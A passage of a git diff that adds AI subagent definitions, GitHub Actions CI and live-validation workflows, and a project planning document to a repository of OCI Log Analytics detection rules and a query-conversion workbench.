b/observability-and-management/assets/oci-log-analytics-detections/.claude/agents/docs-researcher.md new file mode 100644 index 000000000..9351ffc51 --- /dev/null +++ b/observability-and-management/assets/oci-log-analytics-detections/.claude/agents/docs-researcher.md @@ -0,0 +1,29 @@ +--- +name: docs-researcher +description: Verifies OCI Log Analytics, Sigma, Sentinel KQL, and MITRE/STIG claims against primary documentation. Use before changes that depend on parser behavior, field names, query syntax, or compliance mappings. Read-only. +tools: Read, Grep, Glob, Bash, WebFetch, WebSearch +model: sonnet +--- + +You are the **docs-researcher** for `oci-log-analytics-detections`. + +Verify APIs, framework behavior, parser quirks, and release-note claims against primary documentation before changes land. Cite the exact docs URL or repo file path that supports each claim. **Do not invent undocumented behavior.** + +## Trusted sources (in priority order) + +1. Local repo references: + - `skills/oci-log-analytics-dashboard-enhancer/references/oracle-log-analytics-capabilities.md` + - `skills/oci-log-analytics-dashboard-enhancer/references/repo-integration.md` + - `docs/ARCHITECTURE.md`, `docs/INTEGRATION_SCHEMA.md`, `docs/SENTINEL_CONVERSION.md` + - `config/sentinel_oci_mapping.yaml`, `queries/log_source_field_dictionary.json` +2. Oracle Cloud Infrastructure Log Analytics official docs (`docs.oracle.com`) +3. SigmaHQ specification + rule examples +4. Microsoft Sentinel KQL reference +5. MITRE ATT&CK + DISA STIG catalogs + +## Output contract + +- Each claim ends with `[source: ]` +- Flag any claim you could NOT verify; do not paper over it +- Prefer existing repo mapping files over external docs when both exist — repo wins +- For parser/field claims, link the specific entry in `queries/log_source_field_dictionary.json` diff --git a/observability-and-management/assets/oci-log-analytics-detections/.claude/agents/explorer.md b/observability-and-management/assets/oci-log-analytics-detections/.claude/agents/explorer.md new file mode 100644 index 000000000..2182684cc --- /dev/null +++ b/observability-and-management/assets/oci-log-analytics-detections/.claude/agents/explorer.md @@ -0,0 +1,28 @@ +--- +name: explorer +description: Read-only code/path explorer for this repo. Use to trace execution paths, locate symbols, and map artifact flow between rules/**, queries/**, scripts/**, and docs/** without proposing fixes. Cites files and line numbers. +tools: Read, Grep, Glob, Bash +model: sonnet +--- + +You are the **explorer** for `oci-log-analytics-detections`. + +Stay in exploration mode. Trace the real execution path, cite files and symbols, and avoid proposing fixes unless the parent agent asks for them. Prefer targeted search and file reads over broad scans. + +## Repo map (memorize) + +- Source authoring: `rules/**` (Sigma/YAML) +- Generated detections: `queries/*.json`, `queries/apps/*.json`, `queries/sentinel/*.json` +- Curated analytics: `queries/apps/*.json` (38), `queries/hunting/*.json` (87) +- Canonical inventory: `queries/catalog.json`, `queries/dashboard_inventory.json`, `queries/log_source_field_dictionary.json`, `queries/detection_rule_specs.json` +- Conversion pipeline: `scripts/convert_sigma.py`, `scripts/sentinel_conversion_workflow.py`, `scripts/convert_sentinel_kql.py` +- Deployment: `scripts/deploy_dashboard.py`, `scripts/setup_log_sources.py`, `scripts/ingest_test_data.py` +- Stack/IaC: `stack/` (Terraform ORM) +- Health/release: `docs/health/`, `scripts/release_checklist.py`, `scripts/daily_health_check.py` + +## Output contract + +- Lead with **what was traced** (file:line citations) +- Show the **call/data path**: input artifact → script/function → output artifact +- End with **unanswered questions** the caller should resolve before acting +- Do NOT propose code edits unless explicitly asked diff --git a/observability-and-management/assets/oci-log-analytics-detections/.claude/agents/reviewer.md b/observability-and-management/assets/oci-log-analytics-detections/.claude/agents/reviewer.md new file mode 100644 index 000000000..5396bf070 --- /dev/null +++ b/observability-and-management/assets/oci-log-analytics-detections/.claude/agents/reviewer.md @@ -0,0 +1,36 @@ +--- +name: reviewer +description: Owner-grade code review for detection rules, OCI queries, dashboards, and conversion scripts. Prioritizes correctness, security, parser/live-validation regressions, and missing tests. Use after editing rules/**, queries/**, scripts/**, or stack/**. +tools: Read, Grep, Glob, Bash +model: sonnet +--- + +You are the **reviewer** for `oci-log-analytics-detections`. + +Review like an owner. Prioritize correctness, security, behavioral regressions, and missing tests. Lead with concrete findings and avoid style-only feedback unless it hides a real bug. + +## Hard blockers (CRITICAL — fail the review) + +- Hand-authored content added under `logandetectionqueries/` or `logandetectionrules/` (must be generated) +- Placeholder/guessed fields not in `config/sentinel_oci_mapping.yaml` or `queries/log_source_field_dictionary.json` +- Sentinel conversions promoted without passing live OCI parser validation +- Dashboard widgets with hand-authored `row`/`column` outside the 12-column placement algorithm +- App/APM analytics off the `SOC Application Logs` schema +- Unsupported query patterns: `regexextract`, `countif`, `case`, regex-match expressions, unmapped Windows fields +- Hardcoded tenancy/compartment OCIDs, IPs, or credentials in committed files +- Counts in README/STATUS not reconciled with `queries/catalog.json` + +## High-priority checks + +- New rule has `sigma_id`, MITRE technique, log source mapping, and a synthetic-data path in `test_data/` +- New dashboard widget uses `VISUALIZATION_LAYOUT_DEFAULTS` and only sets `width`/`height` +- Conversion scripts updated → `scripts/smoke_test_all_queries.py` still passes +- `scripts/release_checklist.py` mentioned as run when promoting to live profile + +## Output format + +1. **Verdict**: APPROVE | WARN | BLOCK +2. **CRITICAL findings** (with file:line) +3. **HIGH findings** (with file:line) +4. **Tests/inventory reconciliation** — did counts in README/STATUS get bumped if artifacts changed? +5. **Suggested follow-ups** (optional, low priority) diff --git a/observability-and-management/assets/oci-log-analytics-detections/.env.local.example b/observability-and-management/assets/oci-log-analytics-detections/.env.local.example new file mode 100644 index 000000000..e69de29bb diff --git a/observability-and-management/assets/oci-log-analytics-detections/.gitattributes b/observability-and-management/assets/oci-log-analytics-detections/.gitattributes new file mode 100644 index 000000000..e69de29bb diff --git a/observability-and-management/assets/oci-log-analytics-detections/.gitguardian.yaml b/observability-and-management/assets/oci-log-analytics-detections/.gitguardian.yaml new file mode 100644 index 000000000..e69de29bb diff --git a/observability-and-management/assets/oci-log-analytics-detections/.github/workflows/ci.yml b/observability-and-management/assets/oci-log-analytics-detections/.github/workflows/ci.yml new file mode 100644 index 000000000..f20c22886 --- /dev/null +++ b/observability-and-management/assets/oci-log-analytics-detections/.github/workflows/ci.yml @@ -0,0 +1,117 @@ +name: CI + +# Non-live local release gates. Runs on every push and PR. +# NOTHING in this file may require OCI credentials — the live parser/dashboard +# gates live in a separate, manually-dispatched workflow (live-validation.yml) +# so they are never executed automatically on untrusted fork PRs. +on: + push: + pull_request: + +# Read-only token. This workflow never needs write access to the repo, and +# (because it uses the safe `pull_request` trigger, not `pull_request_target`) +# fork PRs run with NO access to repository or environment secrets. +permissions: + contents: read + +concurrency: + group: ci-${{ github.ref }} + cancel-in-progress: true + +jobs: + gates: + name: Local release gates + runs-on: ubuntu-latest + timeout-minutes: 15 + steps: + - uses: actions/checkout@v4 + + - name: Set up Python + uses: actions/setup-python@v5 + with: + python-version: '3.11' + cache: pip + + - name: Install dependencies + run: | + python -m pip install --upgrade pip + pip install -r requirements.txt -r requirements-dev.txt + + # test_data/ is gitignored, so a fresh checkout has none. A few integration + # tests assert the ingest manifest exactly matches the generated synthetic + # datasets, which come from two offline generators (no --validate => no OCI): + # the core security datasets and the multicloud geo-health dataset. + - name: Generate synthetic test data + run: | + python scripts/generate_test_logs.py --days 1 + python scripts/generate_geo_health_logs.py --duration 60 --interval 5 + + # --- Gate 1: unit/integration test suite (no OCI required) --- + - name: Pytest + run: python -m pytest scripts/ -q + + # --- Gate 2: Sigma -> OCL conversion validates with zero warnings --- + # convert_sigma.py --validate regenerates the queries and validates them; + # it exits non-zero on warnings/errors. No OCI access required. + - name: Validate Sigma -> OCL conversion (fail on warnings) + run: python scripts/convert_sigma.py --validate + + # --- Gate 3: catalog drift --- + # Regenerate the catalog and fail if anything other than the embedded + # `generated_at` timestamp changed. A non-empty (timestamp-normalized) + # diff means CATALOG.md / queries/catalog.json were not regenerated after + # a rule/query change. + - name: Catalog drift check + run: | + set -euo pipefail + python scripts/generate_catalog.py + # Ignore only the volatile generated_at timestamp line, then assert + # there are no remaining differences in the committed catalog files. + DRIFT="$(git diff --no-color -- CATALOG.md queries/catalog.json \ + | grep -E '^[+-]' \ + | grep -Ev '^[+-]{2}' \ + | grep -Ev '"generated_at"' \ + || true)" + if [ -n "$DRIFT" ]; then + echo "::error::Catalog drift detected. Run 'python scripts/generate_catalog.py' and commit CATALOG.md + queries/catalog.json." + echo "----- drift (timestamp-normalized) -----" + echo "$DRIFT" + exit 1 + fi + echo "Catalog is in sync (only the generated_at timestamp differs)." + + # --- Gate 4: README/STATUS inventory reconciliation vs catalog --- + - name: Inventory drift check (README/STATUS vs catalog) + run: python scripts/check_inventory_drift.py + + # --- Gate 5: no sensitive/tenancy values committed --- + # Always-on (not only inside release_checklist.py): scans the tree for + # OCIDs, LA namespaces, opc-request-ids, secrets, and internal public IPs, + # including generated reports under queries/. Exits non-zero on any finding. + - name: Sensitive value scan + run: python scripts/scan_sensitive_values.py --json + + # --- Gate 6: Sentinel-fixture byte-identity check --- + # regen_promoted.py --check compares the committed KQL/Logan fixture files + # under scripts/test_kql/fixtures/ against canonical(query) for every + # promoted Sentinel query in queries/sentinel/. It is purely read-only + # (never writes) and exits non-zero on drift. + # + # Choice rationale: regen_promoted.py --check exits 0 on current main + # (only skips the one C2-IP fixture that scan_sensitive_values.py would + # flag anyway). Because the gate is green on main we wire it as a hard + # failure (no continue-on-error) so fixture drift is caught on every PR. + - name: Sentinel fixture byte-identity check (regen_promoted --check) + run: python3 scripts/test_kql/regen_promoted.py --check + + # --- Gate 7: module-size enforcement --- + # 7a. Existing pytest gate: asserts convert_sentinel_kql.py stays ≤800 lines. + - name: Module-size pytest (convert_sentinel_kql facade) + run: python -m pytest scripts/test_kql/test_module_size.py -q + + # 7b. Broad gate: fails if any NEW scripts/*.py exceeds 800 lines. + # Pre-existing oversized files are in an explicit allowlist inside + # check_module_size.py and produce warnings only. That allowlist MUST + # shrink over time — see the script for the refactor backlog. + - name: Module-size gate (new scripts/*.py must stay ≤800 lines) + run: python3 scripts/check_module_size.py diff --git a/observability-and-management/assets/oci-log-analytics-detections/.github/workflows/forge-github-pages.yml b/observability-and-management/assets/oci-log-analytics-detections/.github/workflows/forge-github-pages.yml new file mode 100644 index 000000000..82121b301 --- /dev/null +++ b/observability-and-management/assets/oci-log-analytics-detections/.github/workflows/forge-github-pages.yml @@ -0,0 +1,64 @@ +name: Forge GitHub Pages + +on: + workflow_dispatch: + push: + branches: + - main + paths: + - "webapp/**" + - "queries/logan_ql_reference_catalog.json" + - "queries/cross_ql_mapping_patterns.json" + - "queries/conversion_examples.json" + - "queries/ql_conversion_capability_matrix.json" + - ".github/workflows/forge-github-pages.yml" + +permissions: + contents: read + pages: write + id-token: write + +concurrency: + group: pages + cancel-in-progress: true + +jobs: + build: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + + - uses: pnpm/action-setup@v4 + with: + version: 10.26.1 + run_install: false + + - uses: actions/setup-node@v4 + with: + node-version: 22 + cache: pnpm + cache-dependency-path: webapp/pnpm-lock.yaml + + - name: Install webapp dependencies + working-directory: webapp + run: pnpm install --frozen-lockfile + + - name: Build static Forge export + working-directory: webapp + env: + NEXT_PUBLIC_FORGE_BASE_PATH: "/${{ github.event.repository.name }}" + run: pnpm build:pages + + - uses: actions/upload-pages-artifact@v3 + with: + path: webapp/out + + deploy: + needs: build + runs-on: ubuntu-latest + environment: + name: github-pages + url: ${{ steps.deployment.outputs.page_url }} + steps: + - id: deployment + uses: actions/deploy-pages@v4 diff --git a/observability-and-management/assets/oci-log-analytics-detections/.github/workflows/inventory-drift.yml b/observability-and-management/assets/oci-log-analytics-detections/.github/workflows/inventory-drift.yml new file mode 100644 index 000000000..5031336a8 --- /dev/null +++ b/observability-and-management/assets/oci-log-analytics-detections/.github/workflows/inventory-drift.yml @@ -0,0 +1,23 @@ +name: Inventory Drift Guard + +# Runs unconditionally on every push and PR. No `paths:` filter — the drift +# check must not be bypassable by editing README/STATUS/catalog/the gate +# script directly without touching rules/queries/scripts. +on: + push: + pull_request: + +jobs: + drift: + runs-on: ubuntu-latest + timeout-minutes: 5 + steps: + - uses: actions/checkout@v4 + + - name: Set up Python + uses: actions/setup-python@v5 + with: + python-version: '3.11' + + - name: Check README/STATUS inventory drift vs catalog + run: python3 scripts/check_inventory_drift.py diff --git a/observability-and-management/assets/oci-log-analytics-detections/.github/workflows/live-validation.yml b/observability-and-management/assets/oci-log-analytics-detections/.github/workflows/live-validation.yml new file mode 100644 index 000000000..ab2ad1121 --- /dev/null +++ b/observability-and-management/assets/oci-log-analytics-detections/.github/workflows/live-validation.yml @@ -0,0 +1,88 @@ +name: Live OCI Validation + +# LIVE gate. This workflow talks to a real OCI Log Analytics tenancy and +# therefore requires credentials. It is intentionally NOT wired to push or +# pull_request: +# * `workflow_dispatch` — manual, trusted maintainer trigger only. +# * `environment: live-oci` — protected environment. Configure required +# reviewers / branch restrictions on it so secrets are released only after +# explicit approval. Fork PRs can never reach a protected environment. +# +# Because there is no `pull_request`/`pull_request_target` trigger, untrusted +# fork PRs cannot start this job and cannot exfiltrate OCI secrets. +on: + workflow_dispatch: + inputs: + profile: + description: "OCI CLI profile to validate against (must exist in the OCI_CONFIG secret)" + required: true + default: "cap" + +permissions: + contents: read + +concurrency: + group: live-validation + cancel-in-progress: false + +jobs: + parse-validate: + name: parse_query over all queries (live) + runs-on: ubuntu-latest + timeout-minutes: 30 + environment: live-oci + steps: + - uses: actions/checkout@v4 + + # Defense in depth: even though a protected environment + workflow_dispatch + # already prevent fork-PR access, refuse to run if the secret is absent so + # the job fails loudly instead of silently "passing" with no validation. + - name: Require OCI credentials + env: + OCI_CONFIG: ${{ secrets.OCI_CONFIG }} + OCI_API_KEY_PEM: ${{ secrets.OCI_API_KEY_PEM }} + run: | + if [ -z "${OCI_CONFIG}" ] || [ -z "${OCI_API_KEY_PEM}" ]; then + echo "::error::OCI_CONFIG and OCI_API_KEY_PEM secrets are required for live validation." + exit 1 + fi + + - name: Set up Python + uses: actions/setup-python@v5 + with: + python-version: '3.11' + cache: pip + + - name: Install dependencies + run: | + python -m pip install --upgrade pip + pip install -r requirements.txt -r requirements-dev.txt + + # Materialize OCI config + key from secrets into the standard ~/.oci paths + # used by scripts/oci_config.py. Secrets are written to runner-local files, + # never echoed, and the runner is ephemeral. + - name: Configure OCI credentials + env: + OCI_CONFIG: ${{ secrets.OCI_CONFIG }} + OCI_API_KEY_PEM: ${{ secrets.OCI_API_KEY_PEM }} + run: | + umask 077 + mkdir -p "$HOME/.oci" + printf '%s' "$OCI_CONFIG" > "$HOME/.oci/config" + printf '%s' "$OCI_API_KEY_PEM" > "$HOME/.oci/oci_api_key.pem" + chmod 600 "$HOME/.oci/config" "$HOME/.oci/oci_api_key.pem" + + - name: Parse-validate all queries (live) + env: + OCI_PROFILE: ${{ github.event.inputs.profile }} + run: | + mkdir -p docs/health + python scripts/parse_validate_all_queries.py --json docs/health/parse-validate-all.json + + - name: Upload parse-validate report + if: always() + uses: actions/upload-artifact@v4 + with: + name: parse-validate-all + path: docs/health/parse-validate-all.json + if-no-files-found: warn diff --git a/observability-and-management/assets/oci-log-analytics-detections/.github/workflows/validate-rules.yml b/observability-and-management/assets/oci-log-analytics-detections/.github/workflows/validate-rules.yml new file mode 100644 index 000000000..c765ac03a --- /dev/null +++ b/observability-and-management/assets/oci-log-analytics-detections/.github/workflows/validate-rules.yml @@ -0,0 +1,160 @@ +name: Validate Detection Rules + +on: + push: + paths: + - 'rules/**' + - 'queries/hunting/**' + - 'config/**' + - 'scripts/convert_sigma.py' + - 'scripts/generate_catalog.py' + - 'scripts/audit_rule_quality.py' + - 'scripts/map_atomic_tests.py' + - 'config/art_index.csv' + pull_request: + paths: + - 'rules/**' + - 'queries/hunting/**' + - 'config/**' + - 'scripts/convert_sigma.py' + - 'scripts/generate_catalog.py' + - 'scripts/audit_rule_quality.py' + - 'scripts/map_atomic_tests.py' + - 'config/art_index.csv' + +jobs: + validate: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + + - name: Set up Python + uses: actions/setup-python@v5 + with: + python-version: '3.11' + + - name: Install dependencies + run: pip install pyyaml + + - name: Convert Sigma rules to OCL + run: python3 scripts/convert_sigma.py + + - name: Validate OCL syntax + run: python3 scripts/convert_sigma.py --validate + + - name: Print rule statistics + run: python3 scripts/convert_sigma.py --stats + + - name: Generate catalog + run: python3 scripts/generate_catalog.py + + - name: Verify rule count + run: | + RULE_COUNT=$(find rules -name '*.yaml' -type f | wc -l) + QUERY_COUNT=$(find queries -name '*.json' -not -name 'manifest.json' -not -name 'catalog.json' -maxdepth 1 | wc -l) + echo "Rules: $RULE_COUNT, Queries: $QUERY_COUNT" + # Some rules (multi-selection Sigma rules) generate more than one + # query, so exact equality is wrong. Every rule must generate at + # least one query — check queries >= rules and queries > 0. + if [ "$QUERY_COUNT" -lt "$RULE_COUNT" ] || [ "$QUERY_COUNT" -eq 0 ]; then + echo "ERROR: Query count ($QUERY_COUNT) is lower than rule count ($RULE_COUNT) — some rules failed to convert." + exit 1 + fi + + - name: Verify YAML validity + run: | + python3 -c " + import yaml, sys, os + errors = 0 + for root, dirs, files in os.walk('rules'): + for f in sorted(files): + if f.endswith('.yaml'): + path = os.path.join(root, f) + try: + with open(path) as fh: + rule = yaml.safe_load(fh) + if not rule or 'detection' not in rule: + print(f'WARN: {path} missing detection block') + errors += 1 + if not rule.get('title'): + print(f'WARN: {path} missing title') + errors += 1 + if not rule.get('logsource'): + print(f'WARN: {path} missing logsource') + errors += 1 + except Exception as e: + print(f'ERROR: {path}: {e}') + errors += 1 + if errors: + print(f'\n{errors} issues found') + sys.exit(1) + print('All YAML rules valid') + " + + - name: Check for deprecated event types + run: | + if grep -r "com\.oraclecloud\.identity\." rules/ --include="*.yaml" | grep -v identitycontrolplane; then + echo "ERROR: Found deprecated identity event types (should use identitycontrolplane)" + exit 1 + fi + echo "No deprecated event types found" + + - name: Run quality audit + run: python3 scripts/audit_rule_quality.py --report docs/RULE_QUALITY_REPORT.md + + - name: Verify zero quality issues + run: | + if grep -q 'Total.*\*\*0\*\*' docs/RULE_QUALITY_REPORT.md; then + echo "Quality audit: PASS (0 issues)" + else + echo "Quality audit: FAIL — see docs/RULE_QUALITY_REPORT.md" + cat docs/RULE_QUALITY_REPORT.md + exit 1 + fi + + - name: Download ART index + run: python3 scripts/map_atomic_tests.py --download + + - name: Enrich queries with ART mappings + run: python3 scripts/map_atomic_tests.py --enrich + + - name: Validate ART mappings + run: python3 scripts/map_atomic_tests.py --validate + + - name: ART coverage report and stats + run: python3 scripts/map_atomic_tests.py --report --stats + + - name: Validate hunting queries JSON + run: | + python3 -c " + import json, os, sys + errors = 0 + hunting_dir = 'queries/hunting' + if not os.path.isdir(hunting_dir): + print('No hunting directory found, skipping') + sys.exit(0) + for f in sorted(os.listdir(hunting_dir)): + if not f.endswith('.json'): + continue + path = os.path.join(hunting_dir, f) + try: + with open(path) as fh: + data = json.load(fh) + if not data.get('title'): + print(f'WARN: {path} missing title') + errors += 1 + if not data.get('query'): + print(f'WARN: {path} missing query') + errors += 1 + if data.get('type') != 'hunting': + print(f'WARN: {path} missing type=hunting') + errors += 1 + except Exception as e: + print(f'ERROR: {path}: {e}') + errors += 1 + count = len([f for f in os.listdir(hunting_dir) if f.endswith('.json')]) + if errors: + print(f'{errors} issues in {count} hunting queries') + sys.exit(1) + print(f'All {count} hunting queries valid') + " diff --git a/observability-and-management/assets/oci-log-analytics-detections/.github/workflows/webapp-ci.yml b/observability-and-management/assets/oci-log-analytics-detections/.github/workflows/webapp-ci.yml new file mode 100644 index 000000000..372c84a59 --- /dev/null +++ b/observability-and-management/assets/oci-log-analytics-detections/.github/workflows/webapp-ci.yml @@ -0,0 +1,96 @@ +name: Webapp CI + +# Type-check, lint, build, and API-contract e2e for the Forge webapp. +# Runs only when webapp/ source or this workflow file changes. +# NO OCI credentials required — all tests run purely locally. +on: + push: + paths: + - 'webapp/**' + - '.github/workflows/webapp-ci.yml' + pull_request: + paths: + - 'webapp/**' + - '.github/workflows/webapp-ci.yml' + +permissions: + contents: read + +concurrency: + group: webapp-ci-${{ github.ref }} + cancel-in-progress: true + +jobs: + webapp: + name: Webapp type / lint / build / e2e + runs-on: ubuntu-latest + timeout-minutes: 20 + + steps: + - uses: actions/checkout@v4 + + # pnpm version must match webapp/package.json `packageManager` field + # (currently pnpm@10.26.1, same as forge-github-pages.yml). + - uses: pnpm/action-setup@v4 + with: + version: 10.26.1 + run_install: false + + # Node version must match forge-github-pages.yml (node-version: 22). + - uses: actions/setup-node@v4 + with: + node-version: 22 + cache: pnpm + cache-dependency-path: webapp/pnpm-lock.yaml + + # --- Step 1: dependencies --- + - name: Install webapp dependencies + working-directory: webapp + run: pnpm install --frozen-lockfile + + # --- Step 2: type checking --- + # tsc --noEmit: fails on any TypeScript type error. + - name: Typecheck + working-directory: webapp + run: pnpm typecheck + + # --- Step 3: linting --- + # ESLint with the project's own config (.eslintrc / eslint.config.mjs). + - name: Lint + working-directory: webapp + run: pnpm lint + + # --- Step 4: production build --- + # Verifies the Next.js app compiles end-to-end; also exercises any + # build-time data fetching (artifact loading from queries/). + - name: Build + working-directory: webapp + run: pnpm build + + # --- Step 5: Playwright browser install --- + # Install Chromium only — the api-contract tests are browser-agnostic HTTP + # request tests so a single browser is sufficient and fastest. + - name: Install Playwright browsers (Chromium only) + working-directory: webapp + run: pnpm exec playwright install --with-deps chromium + + # --- Step 6: API-contract e2e tests --- + # playwright.config.ts auto-starts `next dev` as the web server when + # PLAYWRIGHT_BASE_URL is unset. CI=true enables retries:2 and + # forbids test.only usage. Tests cover /api/health, /api/forge/session, + # /api/forge/artifacts, and the middleware surface boundary. + - name: API-contract e2e tests + working-directory: webapp + env: + CI: true + run: pnpm exec playwright test tests/e2e/api-contract.spec.ts + + # Upload the Playwright HTML report on failure so test failures are + # diagnosable without re-running locally. + - name: Upload Playwright report + if: failure() + uses: actions/upload-artifact@v4 + with: + name: playwright-report + path: webapp/playwright-report/ + retention-days: 7 diff --git a/observability-and-management/assets/oci-log-analytics-detections/.gitignore b/observability-and-management/assets/oci-log-analytics-detections/.gitignore new file mode 100644 index 000000000..e69de29bb diff --git a/observability-and-management/assets/oci-log-analytics-detections/.planning/PROJECT.md b/observability-and-management/assets/oci-log-analytics-detections/.planning/PROJECT.md new file mode 100644 index 000000000..f735a90b7 --- /dev/null +++ b/observability-and-management/assets/oci-log-analytics-detections/.planning/PROJECT.md @@ -0,0 +1,131 @@ +# OCI Log Analytics Detections + +## What This Is + +This is a brownfield detection-content, dashboard-deployment, and Forge webapp repository for Oracle Cloud Infrastructure Log Analytics. It converts Sigma/YAML and live-validated Microsoft Sentinel content into OCI Log Analytics Query Language, maintains curated hunting and app analytics, generates synthetic demo data, deploys OCI Management Dashboards, and ships the integrated Forge workbench for cross-QL conversion into OCI Log Analytics QL. + +The repo is the canonical detection, dashboard, and workbench artifact producer for the integrated `webapp/` and downstream tools such as `mcp-oci-logan-server`; consumers should read generated artifacts from this repo rather than duplicate generation logic. + +## Core Value + +Every committed detection, query, dashboard, parser mapping, and generated artifact must remain deployable and verifiable against OCI Log Analytics without leaking tenant-specific data. + +## Current Milestone: v3.0 Logan QL Conversion Workbench + +**Goal:** Maintain an integrated web workbench under `webapp/` that converts Splunk SPL, Microsoft Sentinel KQL, Elastic/Lucene/KQL, Sigma/YAML, and OCI passthrough examples into OCI Log Analytics QL while this repository remains the canonical producer of conversion/reference artifacts. + +**Target features:** +- Versioned artifact/API contract for the integrated frontend workbench that consumes generated content from this repo instead of duplicating conversion logic. +- Official OCI Log Analytics command/reference catalog generated from Oracle documentation and exposed to the frontend as the workbench command menu. +- Cross-QL mapping pattern library that explains how filters, fields, boolean logic, time windows, aggregation, projection, eval, regex/extraction, lookups, joins/correlation, and unsupported semantics map to OCI Log Analytics QL. +- Source selector, source editor, OCI Logan QL output, explanation panel, examples, warnings, and copy/export actions in `webapp/`. +- 10-20 validated conversion examples using synthetic Sentinel/OCI-shaped logs and no tenant-specific data. +- Producer-side schema/example tests plus `webapp/` build, typecheck, lint, accessibility, and browser acceptance gates. + +**Phase numbering:** continues from v2.0 - starts at Phase 12. + +## Requirements + +### Validated + +- [x] Sigma/YAML authoring layer exists under `rules/**` with 454 source rules and quality audit coverage. +- [x] OCI query artifacts are generated and cataloged under `queries/**`, with `queries/catalog.json` as the canonical machine-readable inventory. +- [x] Microsoft Sentinel conversion workflow promotes only live OCI parser-passing queries into `queries/sentinel/**`. +- [x] Dashboard inventory is generated from `scripts/deploy_dashboard.py` and currently covers 29 dashboards and 438 widgets. +- [x] Synthetic log generation and parser/source setup support SOC security, app/APM, WAF, VCN, firewall, and multicloud-health demo paths. +- [x] Local tests currently pass with `244 passed, 5 skipped, 2 subtests passed`. + +### Active + +- [ ] Keep GSD planning state current for every substantial development phase. +- [ ] Maintain zero rule-quality audit findings across source rules and generated Sigma queries. +- [ ] Keep catalog, dashboard inventory, manifest, field dictionary, detection-rule specs, and docs synchronized after content changes. +- [ ] Improve Sentinel conversion coverage by triaging local validation failures, field/table mapping gaps, and live validation failures. +- [ ] Harden release evidence so local gates and optional live verification can be run consistently before demos or deployments. +- [ ] Preserve the Octo APM workshop bundle contract for downstream deployment from `octo-apm-demo`. +- [ ] Carry forward open v2.0 Sentinel KQL parity items without weakening the live parser validation gate. +- [ ] Generate official-docs-derived OCI Log Analytics command/reference artifacts for the v3.0 workbench. +- [ ] Generate cross-QL mapping patterns, explanations, warnings, and examples for Splunk, Sentinel, Elastic/Lucene/KQL, Sigma, and OCI QL. +- [ ] Define and validate a versioned producer/consumer contract for the integrated frontend workbench. + +### Out of Scope + +- Duplicating query generation or dashboard deployment logic in the frontend - `webapp/` and downstream projects consume this repo's generated artifacts. +- Hand-authoring promoted Sentinel JSON under `queries/sentinel/**` - use the converter and live-validation workflow. +- Hand-authoring content in `logandetectionqueries/` or `logandetectionrules/` - they are legacy empty directories. +- Committing public IPs, OCIDs, tenancy names, credentials, API tokens, or profile-specific values. +- Creating OCI alarms or Terraform applies by default from detection-rule specs - specs remain metadata/export artifacts unless explicitly requested. + +## Context + +- Primary language is Python. The repo uses stdlib `unittest` plus pytest-compatible tests under `scripts/test_*.py`. +- Runtime dependencies are minimal: `oci`, `PyYAML`, and `python-dotenv` in `requirements.txt`. +- Source content surfaces: + - `rules/**` - source Sigma/YAML rules. + - `queries/*.json` and generated `queries/apps/*.json` - Sigma-derived OCI saved-search queries. + - `queries/sentinel/*.json` - Microsoft Sentinel conversions that passed live OCI parser validation. + - `queries/apps/*.json` and `queries/hunting/*.json` - curated app/hunting analytics. +- Generated contracts: + - `queries/catalog.json` + - `queries/dashboard_inventory.json` + - `queries/content_candidates.json` + - `queries/log_source_field_dictionary.json` + - `queries/detection_rule_specs.json` + - `queries/octo_apm_workshop_bundle.json` + - `queries/sentinel_conversion_report.json` + - `queries/manifest.json` + - Proposed v3.0 workbench contracts: + - `queries/logan_ql_reference_catalog.json` + - `queries/cross_ql_mapping_patterns.json` + - `queries/conversion_examples.json` + - `schemas/logan_workbench/*.schema.json` + - `test_data/manifest.json` +- Existing project-specific Claude guidance lives in `CLAUDE.md`; Codex should read `AGENTS.md` and `.planning/**` going forward. + +## Constraints + +- **OCI Log Analytics compatibility**: Generated OCL must avoid unsupported functions and parser-invalid field usage because deployment validation blocks dashboard import. +- **Source-of-truth discipline**: `rules/**` and converter configs drive generated source-derived queries; generated artifacts should not be patched manually except for curated app/hunting surfaces. +- **Live validation boundary**: Sentinel promotion requires live OCI parser validation; failed candidates stay in `queries/sentinel_conversion_report.json`. +- **Demo safety**: Committed artifacts must use placeholders and redaction for tenant-specific values. +- **Dirty worktree reality**: This repo often has broad generated changes. Future agents must isolate their own edits and avoid reverting unrelated work. +- **Dashboard layout**: Widget placement must use `scripts/deploy_dashboard.py:resolve_widget_layout()` and 12-column metadata; do not hand-author imported row/column placement. + +## Key Decisions + +| Decision | Rationale | Outcome | +|----------|-----------|---------| +| Use `.planning/` as the GSD project state root | Enables GSD phase planning, review, verification, and session continuity for this brownfield repo | Pending | +| Treat `queries/catalog.json` as canonical inventory | Avoids stale hand-maintained counts and aligns README/STATUS with generated content | Good | +| Move the Forge UI into `webapp/` | The user selected this repo as the long-term project and retired the old sibling app as the source of truth | Good | +| Promote Sentinel content only after live OCI parser validation | Prevents parser-invalid KQL conversions from becoming dashboard or saved-search assets | Good | +| Keep GSD `commit_docs` enabled but do not auto-commit in dirty worktrees | Planning docs should be tracked, but commits must not include unrelated generated changes | Pending | +| Plan v3.0 as an integrated frontend workbench backed by generated artifacts | User moved the webapp into this long-term repo; the generated artifacts remain the producer boundary | Good | +| Generate the OCI command menu from official Oracle docs | User requested the menu be updated from official OCI pages, so frontend menu data must carry source provenance | Pending | + +## Evolution + +This document evolves at phase transitions and milestone boundaries. + +**After each phase transition** (via `$gsd-transition`): +1. Requirements invalidated? Move to Out of Scope with reason. +2. Requirements validated? Move to Validated with phase reference. +3. New requirements emerged? Add to Active. +4. Decisions to log? Add to Key Decisions. +5. "What This Is" still accurate? Update if drifted. + +**After each milestone** (via `$gsd-complete-milestone`): +1. Full review of all sections. +2. Core Value check - still the right priority? +3. Audit Out of Scope - reasons still valid? +4. Update Context with current state. + +## GSD Usage + +- Start phase work with `$gsd-plan-phase `. +- Use `$gsd-audit-fix` for audit-to-fix loops when there are concrete findings. +- Use `$gsd-map-codebase` after major structural changes to refresh `.planning/codebase/**`. +- Keep `.planning/STATE.md` updated after major sessions and phase transitions. + +--- +*Last updated: 2026-05-17 for v3.0 Logan QL Conversion Workbench milestone* diff --git a/observability-and-management/assets/oci-log-analytics-detections/.planning/REQUIREMENTS.md b/observability-and-management/assets/oci-log-analytics-detections/.planning/REQUIREMENTS.md new file mode 100644 index 000000000..0c388be82 --- /dev/null +++ b/observability-and-management/assets/oci-log-analytics-detections/.planning/REQUIREMENTS.md 